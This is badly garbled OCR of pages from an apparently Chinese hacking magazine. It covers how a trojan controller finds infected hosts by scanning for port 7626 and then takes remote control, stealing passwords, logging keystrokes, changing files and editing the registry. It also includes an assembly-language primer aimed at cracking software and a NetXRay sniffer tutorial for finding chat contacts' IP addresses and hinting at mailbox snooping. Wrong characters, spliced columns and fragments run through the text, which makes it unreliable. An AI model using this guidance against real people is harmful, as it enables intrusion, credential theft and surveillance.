前 一 种 已 在 上 一 节 中 已 经 介绍 过 了 , 不 再 玖 述 , 我 们

重点 来 介绍 下 扫描 , 因为 B 机 装 有 木马 程序 ,所 以 它

-的 木马 端口 7626 是 处 于 开放 状态 的 , 所 以 现在 A 机

es 总 Sa

区 人 机

本 党 玛

ETETTXS

林 呈 区

只 要 扫描 下 地址 段 中 7626 端口 开放 的 主机 就 行 了 ,

例如 图 中 B 机 的 卫 地址 是 202. 102. 47, 56, 当 A 机 扫

描 到 这 个 正 时 发 现 它 的 7626 端口 是 开放 的 , 那么 这

个 正 就 会 被 添加 到 列表 中 , 这 时 A 机 就 可 以 通过 木

马 的 控 制 端 程序 向 B 机 发 出 连接 信号 ,B 机 中 的 木

马 程序 收 到 信号 后 立即 作出 响应 , 当 A 机 收 到 响应 的

信和 号 后 , 开启 一 个 随机 端口 1031 与 B 机 的 木马 端口

7626 建立 连接 , 到 这 时 一 个 木马 连接 才 算 真正 建

立 。 值 得 一 提 的 是 要 扫描 整个 下 地 址 段 显然 费时 费

力 ,一 般 来 说 控制 端 都 是 先 通过 信息 反馈 获得 服务 端

的 下 地 址 ,由 于 拨号 上 网 的 节 是 动态 的 , 即 用 户 每 次

上 网 的 下 都 是 不 同 的 , 但 是 这 个 耳 是 在 一 定 范围 内

变动 的 , 如 果 B 机 的 卫 是 202.102.47. 56, 那 么 B 机

上 网 了 王 的 变动 范围 是 在 202.102.000.000 一

202. 102. 255. 255, 所 以 每 次 控制 端 只 要 搜索 这 个 卫

地 址 段 就 可 以 找到 B 机 了 。

6. 远程 控制

木马 连接 建立 后 , 控制 端口 和 木马 端口 之 间 将 会

出 现 一 条 通道 , 控制 端 上 的 控制 端 程序 可 藉 这 条 通道

与 服务 端 上 的 木马 程序 取得 联系 , 并 通过 木马 程序 对

服务 端 进行 远程 控制 。 下 面 我 们 就 介绍 一 下 控制 端 具

体能 享有 哪些 控制 权限 ,这 远 比 你 想象 的 要 大 。

(1) 窃 取 密 码 :一 切 以 明文 的 形式 , 形式 或 缓存

在 CACHE 中 的 密码 都 能 被 木马 侦 测 到 , 此 外 很 多 木

马 还 提供 有 击 键 记录 功能 , 它 将 会 记录 服务 端 每 次 而

击 键 盘 的 动作 , 所 以 一 旦 有 木马 入侵 ,密码 将 很 容易

被 窃取 。

(2) 文件 操作 : 控制 端 可 薪 由 远程 控制 对 服务 端

上 的 文件 进行 删除 ,新建 , 修改 ,上传 , 下载, 运行 ,更

改 属 性 等 一 系列 操作 , 基本 涵盖 了 WINDOWS 平台 上

所 有 的 文件 操作 功能 。

(3) 修改 注册 表 : 控制 端 可 任意 修改 服务 端 注册

表 , 包 括 删除 ,新 建 或 修改 主键 , 子 键 , 键 值 。 有 了 这 项

功能 控制 端 就 可 以 禁止 服务 端 软驱 , 光驱 的 使 用 , 锁

住 服 务 端 的 注册 表 , 将 服务 端 上 木马 的 触发 条 件 设置

得 更 隐蔽 的 一 系列 高 级 操作 。

(4) 系统 操作 : 这 项 内 容 包括 重启 或 关闭 服务 端

操作 系统 , 断 开 服务 端 网 络 连接 , 控制 服务 端的 鼠标 ,

键盘 ,监视 服务 端 桌面 操作 ,查看 服务 端 进程 等 , 控制

端 甚 至 可 以 随时 给 服务 端 发 送信 息 , 想象 一 下 , 当 服

务 端的 桌面 上 突然 跳出 一 段 话 , 不 吓人 一 跳 才 怪 。

三 .特洛伊 木马 常用 的 债 听 端 曲

系统 的 讲解 汇编 语言 是 办 不 到 了 , 但 基础 知识 和

与 破解 相关 的 内 容 还 是 要 提 一 下 的 ,基础 部 分 我 抓 了

本 大 学 时 的 教科 书 节选 了 一 下 ,相关 破解 则 是 高 手 发

布 在 网 上 的 文章 。

一 、 寄 仓 肯

任何 程序 的 执行 归根 结 底 都 是 存放 在 存储 器 里

的 指令 系列 执行 的 结果 ,寄存 器 用 来 存放 程序 运行 中

的 各 种 信息 , 包括 操作 数 地 址 、 操 作 数 及 运算 的 中 间

结果 等 .下面 我 们 来 熟悉 一 下 8086/8088 的 寄存 器 。

1. 数据 存储 器

”包括 AX、BX、CX、DX 4 个 通用 寄存 器 ,用 来 暂时

存放 计算 过 程 中 所 用 到 的 操作 数 、 结 果 或 其 他 信息 。

AX(Accumulator) 作为 累加 器 用 , 所 以 它 是 算术

运算 的 主要 寄存 器 。

BX(Base) 可 以 作为 通用 寄存 器 使 用 , 此 外 在 计

算 存 储 器 地 址 时 , 它 经 常用 作 基 址 寄存 器 。

CX(cotlxlt) 可 以 作为 通用 寄存 器 使 用 , 此 外 在 循

环 (L000) 和 串 处 理 指令 中 用 作 隐 含 的 计数 器 。

DX(Data) 可 以 作为 通用 寄存 器 使 用 。 一 般 在 作

双 字 长 运算 时 把 DX 和 AX 组 合 在 一 起 存放 一 个 双 字

长 数 ,DX 用 来 存放 高 位 率 。

2. 指针 及 变 址 寄存 器

包括 SP.BP、 SIDI 四 个 16 位 寄存 器 。

SP(Stack Pointer) 称 为 堆栈 指针 寄存 器 ,用 来 指

示 栈 顶 的 偏 移 地 址 。

BP(Base Pointer) 称 为 基 址 指针 寄存 器 ,它们 都

可 以 与 SS 寄存 器 联 用 来 确定 堆栈 段 中 的 某 一 存储 单

元 的 地 址 。 可 作为 堆栈 区 中 的 一 个 基地 址 以 便 访 问 堆

栈 中 的 其 他 信息 。

SI(Source index) 源 变 址 寄存 器 和 DI(Destination

Index) 目的 变 址 寄存 器 一 般 与 DS 联 用 , 用 来 确定 数

据 段 中 某 一 存储 单元 的 地 址 。

3. 段 寄 存 器

包括 CS、DS、SS 和 ES4 个 段 寄存 器 。 其 中 SS 寄

存 器 和 SP、BP 寄存 器 联 用 来 确定 堆栈 段 中 的 某 一 存

储 单元 的 地 址 ,DS 寄存 器 和 SI、DI 寄存 器 联 用 来 确

定数 据 段 中 的 某 一 存储 单元 的 地 址 。

4. 控制 寄存 器

包括 下 和 PSW 两 个 16 位 寄存 器 。

下 (Instruction Pointer) 为 指令 指针 寄存 器 ,, 它 用

来 存放 代码 段 中 的 偏 移 地 址 。

PS 允 (Program Flag) 程序 状态 字 寄 存 器 , 是 一 个

16 位 寄存 器 , 由 条 件 码 标志 (flag) 和 控制 标志 构成 ,

如 下 所 示 :

1 1413 12 1110 9 87 6

343210

条 件 码 :

@ OF(Overflow Flag) 溢 出 标志 。 溢 出 时 为 1, 和 否则

置 0。

@SF(Sign Riag) 符 号 标志 。 结 果 为 负 时 置 1, 和 否则

置 0。

@ZF(Zero fag) 零 标 志 , 运算 结果 为 0 时 ZF 位

置 1, 否 则 置 0。

@ 图 CF(Carry Flag) 进位 标志 , 进位 时 置 1, 否则 置

0。

@ AF(Auxiliary carry Flag) 辅助 进位 标志 , 记 录

运算 时 第 3 位 〈 半 个 字 节 ) 产生 的 进位 置 。 有 进位 时

1 ,否则 置 0。

@PF(Parity Fiag) 奇 偶 标 志 。 结 果 操 作 数 中 ! 的

个 数 为 偶数 时 置 1 ,否则 置 0。

控制 标志 位 :

CD DF(Direction Flag) 方 向 标志 ,在 串 处 理 指令 中

控制 信息 的 方向 。

下 (Iterupt Rag) 中 断 标志 。

@TF(CTrap Flag) 陷 井 标 志 。

以 上 讲 的 都 是 8 位 和 16 位 的 寄存 器 ,32 位 的 区

别 不 大 。 下 面 简单 介绍 一 下 。

通用 寄存 器

AH/LAL AX (EAX) 累加 器

BH7ZBL BX (EBX) 基 址

SEEEEEEEEEI

CHZCL CX (ECX) 计数 器

DHZDL DX (EDX) 数据

(ES) 386 新 增 的 段 寄 存 器

(Exx) 为 386 新 增 的 32 位 寄存 器 (CS) 386 新 增

的 段 寄 存 器

段 寄 存 器 和 8、16 位 的 寄存 器 相同 。

指针 寄存 器

SI (ESI) 源 索 引 指 针 SP (ESP) 栈 指针

DI (EDI) 目的 索引 指针 BP (EBP) 基 址 指针

下 指令 指针

首先 必须 强调 的 是 , 在 用 32 位 汇编 语言 编程 的

时 候 ,所 有 的 地 址 偏 移 量 都 是 32 位 的 ,在 寻 址 时 于 万

不 要 还 用 原来 的 16 位 方式 。

基地 址 寄存 器 默认 的 段 寄 存 器

BP or SP SS

SI or DI DS

DI strings ES

SI strings DS

二 、 寻 址 方式

我 们 知道 程序 最 终 是 通过 执行 指令 序列 来 解决

问题 的 ,而 指令 必须 对 操作 数 地 址 进行 寻 址 ,采用 什

么 样 的 寻 址 方式 会 对 程序 运行 的 速率 和 效率 造成 影

响 。 什 么 ? 跑题 了 ! 别 急 ,下 面 就 言 归 正 传 。

1. 立即 寻 址 方式

操作 数 直 接 放 在 指令 中 , 作为 指令 的 一 部 分 存放

在 代码 段 里 ,也 称 立即 数 寻 址 。 例 MOVAL,5

2. 寄存 器 寻 址 方式

操作 数 在 寄存 器 中 ,指令 指定 寄存 器 号 。 例 MOV

AX ,BX

3. 直接 寻 址 方式

汇编 中 把 操作 数 的 偏 移 地 址 成 为 有 效 地 址 EA,

直接 寻 址 方式 时 ,EA 就 作为 指令 的 一 部 分 。 例 MOV

AX,[2000]

4. 寄存 器 间接 寻 址 方式

”操作 数 的 有 效 地 址 在 基 址 寄存 器 BX, BP 或 变 址

寄存 器 SI,DI 中 , 而 操作 数 则 在 存储 器 中 。 例 MOV

AX,[BX]

5. 直接 变 址 寻 址 方式

操作 数 的 有 效 地 址 是 一 个 基 址 或 变 址 寄存 器 的

内 容 和 指令 中 指定 的 位 移 量 之 和 。 例 MOV AX,

COUNTISI]

6. 基 址 变 址 寻 址 方式

操作 数 的 有 效 地 址 是 一 个 基 址 寄存 器 和 一 个 变

址 寄存 器 的 内 容 之 和 , 两 个 寄存 器 均 由 指令 指定 。 例

MOV AX,TBX]TDI]

下 面 的 寻 址 方式 和 转移 地 址 有 关 , 用 来 确定 转移

指令 及 CALL 指令 的 转向 地 址 。

7. 段 内 直接 寻 址

转向 的 有 效 地 址 是 当前 卫 寄存 器 的 内 容 和 指令

中 指定 的 位 移 量 之 和 。 例 JMP PTR PROGIA

8. 段 内 间接 寻 址

转向 有 效 地 址 是 一 个 寄存 器 或 是 一 个 寄存 单元

的 内 容 。 单 元 的 内 容 可 用 数据 寻 址 中 除 立 即 数 之 外 的

任何 一 种 寻 址 方式 获得 。 例 假设 :(DS) =2000H (BX)

=1256H (SD =528H 位 移 量 =20AH (232F7H) =

3280H (263ESH) = 2450H

JMP BX 执行 该 指令 后 (IP) = 1256H

JMP[BX][SI] 执 行 该 指令 后 (IP) =3280H

9. 段 间 直 接 寻 址

指令 中 直接 提供 了 转向 段 地 址 和 偏 移 地 址 , 要 用

指令 中 指定 的 偏 移 地 址 取代 卫 寄存 器 的 内 容 。 例 JMP

FAR PTR NEXTROUTINT

10. 段 间 间接 寻 址

用 存储 器 的 两 个 相继 字 的 内 容 来 取代 了 下 和 CS

寄存 器 的 原始 内 容 以 达到 段 间 转 移 的 目的 。 例 JMP

DWORD PTR[INTERS + BX]

三 .汇编 指令 集

当 我 们 对 软件 进行 反 汇编 的 时 候 , 面 对 的 都 是 一

行 行 的 汇编 指令 ,如果 你 对 这 些 指 令 不 熟悉 , 那 你 还

是 先 静 下 心 来 研究 下 面 的 这 些 指令 吧 , 它 是 你 进入 破

解 天 堂 的 钥匙 。

1. 数据 传送 指令 集

MOVY |

功能 : 把 源 操 作 数 送 给 目的 操作 数

语法 : MOV 目的 操作 数 , 源 操作 数

格式 : MOV rl,r2

MOV rm

MOV my;T

MOV r,data

XCHC

功能 : 交换 两 个 操作 数 的 数据

语法 : XCHC

格式 : XCHG rl ,rz2 XCHG m;,r XCHG rm

PUSH ,POP

功能 : 把 操作 数 压 人 或 取出 堆栈

语法 : PUSH 操作 数 POP 操作 数

格式 : PUSH r PUSH M PUSH data POP r POP m

PUSHF ,POPE ,PUSHA ,POPA

功能 : 堆栈 指令 群

格式 : PUSHF POPF PUSHA POPA

LEA ,LDS ,LES

功能 : 取 地 址 至 寄存 器

语法 : LEATr,m LDS r,m LES r,m

XLAT(XELATEB )

功能 : 查 表 指 令

语法 : XLAT XLAT m

2. 数 运 算 指令

ADD ,ADC

功能 : 加 法 指令

语法 : ADD OP1,O0P2 ADC OP1 ,OP2

格式 : ADD rl,r2 ADD r,m ADD m,r ADD r,data

影响 标志 : C,P,A,Z,S,0

SUB ,SBB

功能 :减法 指令

语法 : SUB OP1,0OP2 SBB OP1 ,OP2

格式 : SUB rl, r2 SUB r, m SUB m, r SUB r, data

SUB m ,data

志 )

影响 标志 : C,P,A,Z,S,0

INC,DEC

功能 : 把 OP 的 值 加 一 或 减 一

语法 : INC OP DEC OP

格式 : INC rm DEC rm

影响 标志 : P,A,Z,S,0

NEC

功能 : 将 OP 的 符号 反 相 ( 取 二 进 制 补 码 )

语法 : NECG OP

格式 : NEG rm

影响 标志 : C,P,A,Z,S,0

MUL,IMUL

功能 : 乘法 指令

语法 : MUL OP IMUL OP

格式 : MUL rm IMUL rm

影响 标志 : C,P,A,Z,S,0( 仅 IMUL 会 影响 S$ 标 、

DIV ,IDIV

功能 :除法 指令

语法 : DIV OP IDIV OP

格式 : DIV rm IDIV rm

CB 允 ,CWD

功能 : 有 符号 数 扩 展 指令

语法 : CBW CWD

AAA,AAS,AAM,AAD

功能 : 非 压 缩 BCD 码 运算 调整 指令

语法 : AAA AAS AAM AAD

影响 标志 : A,C(AAA,AAS) S,Z,P(AAM,AAD)

DAA ,DAS

功能 : 压缩 BCD 码 调整 指令

语法 : DAA DAS

影响 标志 : C,P,A,Z,S

3. 位 运算 指令 集

AND ,OR,XOR,NOT,TEST

功能 : 执行 BIT 与 BIT 之 问 的 逻辑 运算

语法 : AND rm,rvmvdata OR rm,rymydata

XOR r/m;,r/mvdata TEST r/m,r/mvdata NOT rm

影响 标志 : C,0,P,Z,S( 其 中 C 与 0 两 个 标志 会

被 设 为 0) NOT 指令 不 影响 任何 标志 位

SHR,SHL,SAR ,SAL

功能 : 移 位 指令

语法 : SHR r/m,data/CL SHL rm,data/CL SAR

rm,data/CL SAL rm ,data/CL

影响 标志 : C,P,Z,S,0

ROR,ROL ,RCR ,RCL

功能 : 循环 移 位 指令

语法 : ROR r/m,data/CL ROL rm,data/CL

RCR rm,data/CEL RCL rm,data/CL

影响 标志 : C,P,Z,S,0

4. 程序 流程 控制 指令 集

CLC,STC,CMC

功能 : 设 定 进位 标志

语法 : CLC STC CMC

标志 位 : C

CLD ,STD

功能 : 设 定 方向 标志

语法 : CLD STD

标志 位 : D

CLI,STT

功能 : 设 定 中 断 标志

语法 : CLI STI

标志 位 :I

CMP

功能 : 比较 OP1 与 OP2 的 值

语法 : CMP rm,rymvdata

标志 位 : C,P,A,Z,0

JMP

功能 : 跳 往 指 定 地 址 执行

语法 : JMP 地 址

JXX

功能 : 当 特 定 条 件 成 立 则 跳 往 指定 地 址 执行

语法 : JXX 地 址

注 : 有 关 跳 转 指令 的 详细 内 容 请 看 第 五 小 节 。

LOOP

功能 : 循环 指令 集

语法 : LOOP 地 址

LOOPE(Z)

地 址 LOOPNE(Z) 地 址

标志 位 : 无

CALL,RET

功能 : 子 程序 调用 ,返回 指令

语法 : CALL 地 址 RET RET n

标志 位 : 无

INT;IRET

功能 : 中 断 调用 及 返回 指令

语法 : INT n IRET

语法 : SCASB SCAS 允

标志 位 : C,P,Z,S,0

LODSB ,LODS 叉 ,STOSB ,STOS 叉

功能 : 字符 串 载 人 或 存储 指令

语法 : LODSB LODSW STOSB STOSW

标志 位 : 无

REP ,REPE ,REPNE

功能 : 重复 前 缀 指令 集

语法 : REP 指令 S REPE 指令 S REPNE 指令 $

标志 位 : 依 指令 $ 而 定

四 、 伪 操作

汇编 语言 的 语句 除了 指令 之 外 还 有 伪 操 作 , 伪 操

作 又 称 为 伪 指 令 , 它 不 像 机 器 指令 那样 是 在 程序 运行

期 间 由 计算 机 来 执行 的 , 它 是 在 汇编 程序 对 源 程 序 汇

编 期 间 由 汇编 程序 处 理 的 操作 , 它 可 以 完成 如 数据 定

义 、 分配 存储 区 、 指 示 程 序 结束 等 功能 。 我 们 这 里 说 明

一 些 常 用 的 伪 指令 。

1. 数据 定义 及 存储 器 分 配 伪 操作

这 一 类 伪 操 作 的 格式 是 :

[Variable] Mnemonic operand , … ,operand [ ; Com-

mentsj

其 中 变量 (Variable) 字段 是 可 有 可 无 的 , 它 用 符

号 地 址 表示 , 其 作用 与 指令 语句 前 的 标号 相同 , 但 它

的 后 面 不 跟 冒 号 。 如 果 语 句 中 有 变量 则 汇编 程序 使 其

记 以 第 1 个 字 节 的 偏 移 地 址 。

注释 (Comments) 字段 用 来 说 明 该 伪 操 作 的 功能 ,

标志 位 : 在 执行 NT 时 , CPU 会 自动 将 标志 寄存

器 的 值 和 人 栈 , 在 执行 IRET 时 则 会 将 堆栈 中 的 标志

弹 回 寄存 器

5. 字符 串 操 作 指令 集

MOVSB ,MOVSW ,MOVSD

功能 : 字符 串 传送 指令

语法 : MOVSB MOVSW MOVSD

标志 位 : 无

CMPSB ,CMPS 允 ,CMPSD

功能 : 字符 串 比 较 指令

它 也 是 可 有 可 无 的 。

助 记 符 (Mnemonic) 字段 说 明 所 用 伪 操 作 的 助 记

符 ,常用 的 有 以 下 几 种 :

DB 伪 操 作用 来 定义 字 节 , 其 后 的 每 个 操作 数 都

占有 : 工 个 字 节 。

DW 伪 操 作用 来 定义 字 , 其 后 的 每 个 操作 数 占 有

1 个 字 ( 低 位 字 节 在 第 一 个 字 节 地 址 中 ,

高 位 字 节 在 第 二 个 字 节 地 址 中 )。

DD 伪 操 作用 来 定义 双 字 , 其 后 的 每 个 操作 数 占

语法 , CMPSB CMPSW CMPSD 有 2 个 字 。

标志 位 , C.P.Z.S.0 DQ 伪 操 作用 来 定义 4 个 字 , 其 后 的 每 个 操作 数

人 占有 4 个 字 。

SCASB ,SCASW

功能 : 字符 串 搜索 指令 DT 伪 操 作用 来 定义 10 个 字 节 , 其 后 的 每 个 操作

, 、 了 杀 失 人 溯

数 占 有 :11 个 字 节 ,形成 压缩 的 BCD 码 。

2. 表达 式 赋 值 伪 操作 EQU

有 时 程序 中 多 次 出 现 同一 个 表达 式 ,为 方便 起 见

可 以 用 赋值 伪 操 作 给 表达 式 赋 予 一 个 名 字 。 其 格式 如

下 ;EXpttgsion_ name EQU Expression 此 后 , 程 序 中 凡 需

要 用 到 该 表达 式 之 处 就 可 以 用 表达 式 名 来 代替 了 。 上

式 中 的 表达 式 可 以 是 任何 有 效 的 操作 数 格式 , 可 以 是

民 何 可 以 求 出 常数 值 的 表达 式 , 也 可 以 是 任何 有 效 的

助 记 符 。

CONSTANTEQU256 数 赋 以 符号 名

DATAEQUHEICHT + 12 地 址 表达 式 赋 以 符号 名

ALPHAEQU7 这 三 条 语句 是 一 组 赋值 伪 操作 ,把

BETAEQUALPHA -27-2=5 赋 以 BETA,

VAR +5 赋 以

ADDREQUVAR + BETAADDR

必须 注意 EQU 语句 的 表达 式 中 如 果 有 变量 或 标

号 的 表达 式 , 则 在 该 语句 前 应 该 先 给 出 它们 的 定义 。

例如 ,语句

AB EQU DATAONE + 2

则 必须 放 在 DATA - ONE 的 定义 之 后 才 行 ,否则

汇编 程序 将 指示 出 错 。

另外 还 有 一 个 与 EQU 相 类似 的 = 伪 操 作 也 可 以

作为 赋值 伪 操 作 使 用 。 它 们 之 间 的 区 别 是 “EQU 伪

操作 中 的 表达 式 名 是 不 允许 重复 定义 的 ,而 = 伪 操作

则 允许 重复 定义 。

3. 段 定 义 伪 操 作

存储 器 的 物理 地 址 是 由 段 地 址 和 偏 移 地 址 组 合

而 成 的 , 汇编 程序 在 把 源 程序 转换 为 目标 程序 时 , 必

须 确 定 标号 和 变量 的 偏 移 地 址 , 并 且 需 要 把 有 关 信 息

通过 目标 模块 传送 给 连接 程序 , 以 便 连 接 程 序 把 不 同

的 段 和 模块 连接 在 一 起 形成 一 个 可 执行 程序 。 为 此 ,

需要 用 段 定义 伪 操 作 , 段 定义 伪 操 作 的 格式 如 下 :

segment name SECMENT

segment nameENDS

其 中 删节 号 部 分 ,对 于 数据 段 、 附 加 段 和 堆栈 段

来 说 ,一 般 是 存储 单元 的 定义 、 分 配 等 伪 操 作 ; 对 于 代

码 段 则 是 指令 及 伪 操作 。

4. 程序 开始 和 结束 伪 操 作

在 程序 的 开始 可 以 用 NAME 或 TITLE 为 模块 取

名 字 ,NAME 的 格式 是 :

NAMEModuje name

汇编 程序 将 以 给 出 的 module name 作为 模块 的 名

字 。 如 果 程 序 中 没有 NAME 伪 操 作 , 则 也 可 使 用 TT

TLE 伪 操作 ,其 格式 为 :

TITLR text

TITLE 伪 操 作 可 指定 每 1 页 上 打印 的 标题 。

5. 对 准 伪 操作

.EVEN 伪 操 作 使 下 一 个 字 节 地 址 成 为 偶数 。 一

个 字 的 地 址 最 好 从 偶 地 址 开始 , 所 以 对 于 字数 组 ,为

保证 其 从 偶 地 址 开始 , 可 以 在 它 前 面 用 EVEN 伪 操作

来 达到 这 一 目的 。

6. 基数 控制 伪 操作

汇编 语言 默认 的 数 为 十 进 制 数 , 因而 除非 专门 指

定 , 汇编 把 程序 中 出 现 的 数 均 看 作 十 进 制 数 , 当 要 用

基数 表示 的 常数 时 ,就 需要 专门 的 标记 。

.RADIX 可 以 把 默认 的 基数 改变 为 2~ 16 范围

内 的 任何 基数 。 格 式 .RADIXexpression

其 中 表达 式 用 来 表示 基数 值 ( 用 十 进 制 表示 )

例 MOVBX,OFFH

MOVBX ,178

.RADIX16

MOVBX ,OFE

MOVBX ,178D

是 等 价 的 。

五 . 跳 转 指令 小 络

1. 直接 标志 转移

JC 72 有 进位

JNC 73 无 进位

75 | 不 为 零 / 不 等 于

JS 78 负 号

JNS 79 正 号

JNO 71

JPZJPE

无 溢出

奇偶 位 为 偶

奇偶 位 为 奇

(下 转 第 38 页 )

工具 不 在 多 ,而 在 精 。 说 真 的 ,我 本 人 不 是 很 懂 编

程 ,也 没 时 间 去 编 。 所 以 就 对 别人 的 工具 甚 是 得 意 。 经

常 有 人 问 我 这 样 或 者 那样 该 用 什么 软件 好 啊 ? 在 这

里 ,我 就 给 你 说 了 , 重要 的 不 是 工具 ,而 是 你 自己 。 因

为 目前 世上 还 没有 什么 工具 可 以 傻瓜 到 一 点 按钮 就

可 以 让 你 知道 一 切 的 地 步 。 我 最 近 就 处 心 积 虑 的 对

Nebaay 发 生 了 极 大 兴趣 , 也 不 知 是 对 它 的 强大 功能

有 很 浓厚 的 兴趣 , 还 是 其 他 的 原因 就 很 难说 清 了 。 但

是 总 的 来 说 , 一 上 网 就 打开 它 来 运行 , 感 觉 很 是 不

错 。

一 、NetXRay 简介

NetXRay 本 身 是 由 Cinco Networks 公司 开发 的 一

个 用 于 高 级 分 组 检 错 的 软件 。 它 可 以 提供 分 组 获取 和

译 码 的 功能 ; 它 可 以 提供 图 形 以 确切 地 指出 在 你 的 网

络 中 哪里 正 出 现 严重 的 业务 拥塞 。 安 装 NetXRay 很 简

单 , 但 是 必须 在 安装 软件 和 重新 引导 服务 器 后 , 人工

增加 它 的 分 析 网 络 服务 。 而 我 越 玩 就 越 觉得 NetXRay

很 奇怪 , 很 难于 一 瞬间 详细 去 解释 它 , 但 是 它 的 主要

特点 总 的 来 说 还 是 比较 吸引 人 的 。NetXRay 在 很 多 方

面 都 是 很 不 错 的 , 它 是 一 个 监控 多 个 网 段 并 且 人 允许 在

多 监控 实例 同时 还 能 捕获 到 你 想 要 捕获 的 任何 类 型

的 报 文 的 工具 。 并 且 在 NetXRay 中 , 图 形 将 会 给 人 另

一 种 视觉 , 让 你 更 明白 看 清 网 络 中 的 状态 。 这 就 是

NetXRay 跟 别 的 同类 分 组 检测 器 的 不 同 之 处 。

二 、NetXRay 的 使 用

首先 我 们 运行 NetXRay , 在 菜单 中 选取 tools 下 的

host table 项 , 这 时 会 出 现 一 个 窗口 ,看 看 界面 (如 图

全 1)。

从 图 5-1IL 中 可 以 看 出 , 目 前 你 在 网 络 中 的 状态

《因为 大 家 都 是 在 mtermet 中 , 所 以 我 所 要 的 显示 状态

选择 的 是 正 ), 所 有 的 连接 是 否 都 是 属于 你 自己 的 正

常 连接 , 从 这 个 图 中 你 将 清 清楚 楚 一 目 了 然 看 到 目前

RE

9

pr

ER

哪个 地 址 与 你 的 连接 最 为 繁忙 。 最 顶 上 的

192. 168. 0.6 是 自己 的 卫 , 而 216. 217. 111. 8( 黄 色 )

则 是 我 的 主机 在 初期 对 它 发 的 ICMP 协议 。 其 他 的 均

是 与 我 正在 进行 通信 的 远程 机 器 。 可 事实 中 当时 与 我

通信 最 为 繁忙 的 202. 102. 29. 164 并 非 是 我 所 允许

的 , 所 以 我 有 理由 相信 它 是 个 非法 连接 。 可 能 是 在 查

询 我 的 主机 信息 或 者 是 想 从 NetBIOS 找 点 可 与 之 共

享 的 东西 。

其 实 这 个 也 可 以 用 来 查询 OICQ 上 耳 。 只 要 你 发

一 个 信息 给 对 方 , 不 管 对 方 是 否 为 你 的 好 友和 名 单 之

中 ,这 图 里 都 会 马上 用 一 个 颜色 显示 出 对 方 的 卫 。( 如

图 5 - 1 在 底部 又 有 三 个 选项 , 你 选 瑟 吧 , 因为 你 想

查 的 是 卫 嘛 ! 窗口 又 变 了 ,看 到 很 多 站 了 吗 ? 如 果

你 打开 网 站 的 话 , 在 内 容 框 里 就 会 出 现 很 多 协议 , 其

中 有 other http ICMP DNS 如 果 你 要 看 了 就 把 注意 力

集中 在 other 协议 里 ,那里 应 该 有 很 多 苹 吧 ? 记 住 : 最

要 紧 的 就 是 要 给 对 方 发 一 个 信息 过 去 啊 ! 在 左边 还 有

很 多 选项 ,你 得 自己 好 好 研究 啊 。

还 有 一 种 方法 可 以 用 来 查询 OICQ 上 卫 : 选取

tools 下 的 capture 选项 之 后 会 弹出 一 个 窗口 〈 如 图

5-2), 这 时 你 应 该 到 菜单 capture 点 击 start 《或 者 点

击 图 5 - 1 中 工具 栏 的 开始 按钮 ) 这 时 候 发 个 信息 给

你 要 查 的 人 了 。 发 送 了 吗 ? 然后 选择 capture 中 的 End

And View (或 者 点 击 图 5- 中 工具 栏 的 按钮

这 时 又 弹出 了 一 个 窗口 , 窗口 的 底部 有 5 个 选项 , 你

图 5-2

选 第 二 个 “Matrix” 试 试 (如 图 5 -3)! 特别 注意 : 和 别

人 的 正 连 线 应 该 是 浅 绿 色 的 。

在 Nebxray 里 有 一 个 Dashboard 的 图 表 (如 图 5 -

4) , 它 是 一 个 性 能 量 测 器 , 可 提供 分 组 获取 和 译 码 的

功能 , 它 还 提供 了 图 形 可 以 确切 地 指出 在 你 的 网 络 中

那里 正 出 现 严 重 的 业务 繁忙 。 其 实 这 里 还 可 以 看 到 更

具体 的 部 分 , 但 是 在 广域网 中 这 个 不 会 有 很 大 作用

的 , 像 DetaiL 的 部 分 就 是 更 详细 的 资料 了 , 这 里 就 不

多 说 了 。 当 然 啦 , 你 也 可 以 利用 这 一 点 去 观察 别 的 机

器 的 业务 情况 。

图 5-4

你 可 以 在 Dashboard 图 表 上 点 击 鼠 标 右键 , 选 择

设置 开始 , 就 会 出 现 一 个 如 下 的 对 话 框 了 〈 如 图 3-

5), 和 默认 是 General 项 。 在 这 个 对 话 框 中 的 Ask Save

For 之 中 你 可 以 按照 默认 或 者 根据 你 自己 的 需要 来 设

置 。 而 Decode 选择 项 你 最 好 是 两 个 都 选 。 更 新 频率

Update Frequeney 也 要 看 你 的 要 求 了 , 用 鼠标 点 数字

部 分 (如 要 多 选 就 多 拉 ) ,建议 全 选 。

图 35-5

再 来 看 看 Threshold 项 (如 图 5 - 6) : 这 个 地 方 是

要 让 选择 你 所 捕获 的 对 方 机 器 的 可 进 和 人 点。 一 般 情 况

你 可 根据 你 的 所 需 来 选择 ,不 明白 那 就 全 选 。Name 不

Broadcastls _

Muiticastjs

图 3-6

用 我 说 了 吧 , 当然 是 代表 这 个 进入 点 的 表述 名 了 。 其

实 这 里 的 选择 大 多 时 间 都 是 比较 关键 的 , 因为 往往 堆

获 的 时 候 所 进入 对 方 机 器 的 接点 选择 不 合适 的 话 可

能 会 一 无 所 获 。 而 选择 过 多 将 会 导致 网 络 速度 变 慢 ,

也 将 会 在 截获 的 信息 中 夹杂 很 多 无 用 信息 , 浪 费 资

源 。 而 high Threshold 就 是 所 对 应 的 表述 名 的 极限 开

口 端 , 也 就 是 说 是 从 这 里 进 和 来 截获 数据 时 最 高 所 能

An

光度 汪 和

TODOLS

得 到 的 定义 量度 , 一 般 情况 下 你 无 须 理会 这 个 , 让 它

默认 。 往 下 接着 看 它 的 Alarm 项 (如 图 5- 7) :声音 和

它 的 警告 声音 你 自己 设 定 了 , 而 启动 新 警告 则 需要 你

地 来 设置 。Define Severity 无 须 理会 , 默 认 就 行

oa

本 |

WO

了 。 在 Define Actions 部 分 (这 可 是 一 个 保护 自己 信箱

安全 和 破解 其 他 人 信箱 账号 的 重要 环节 )。 点 击 De-

fine Actions 就 会 出 现 ( 如 图 5-8) 的 界面 ,在 这 里 选择

可 对 其 进行 编辑 , 删 除 。 这 就 是 常 被 人 说 起 的 用

NetXRay 来 查 信箱 密码 ,其实 非 也 。 先 看 了 ,首先 在 名

称 那里 随便 写 上 自己 喜欢 的 名 , 然 后 选择 SMTP 邮

件 。 如 果 你 在 里 面 没 有 设置 的 话 就 自己 先 设置 一 个 信

箱 用 来 收留 NetXRay 所 能 给 你 的 警告 信息 的 信箱

了 。 写 上 名 称 点 击 确定 ,得 ,出 来 了 (如 图 5 - 10) 管 它

呢 , 先 按 要 求 填 上 再 说 (你 可 别 瞻 添 吕 , 要 不 然 就 会 把

很 多 你 捕获 到 的 信息 添加 到 您 的 信箱 里 去 ) , 这 个 就

说 到 这 里 了 。

这 个 界面 的 Protocols 部 分 (如 图 5 - 11) 所 示 : 这

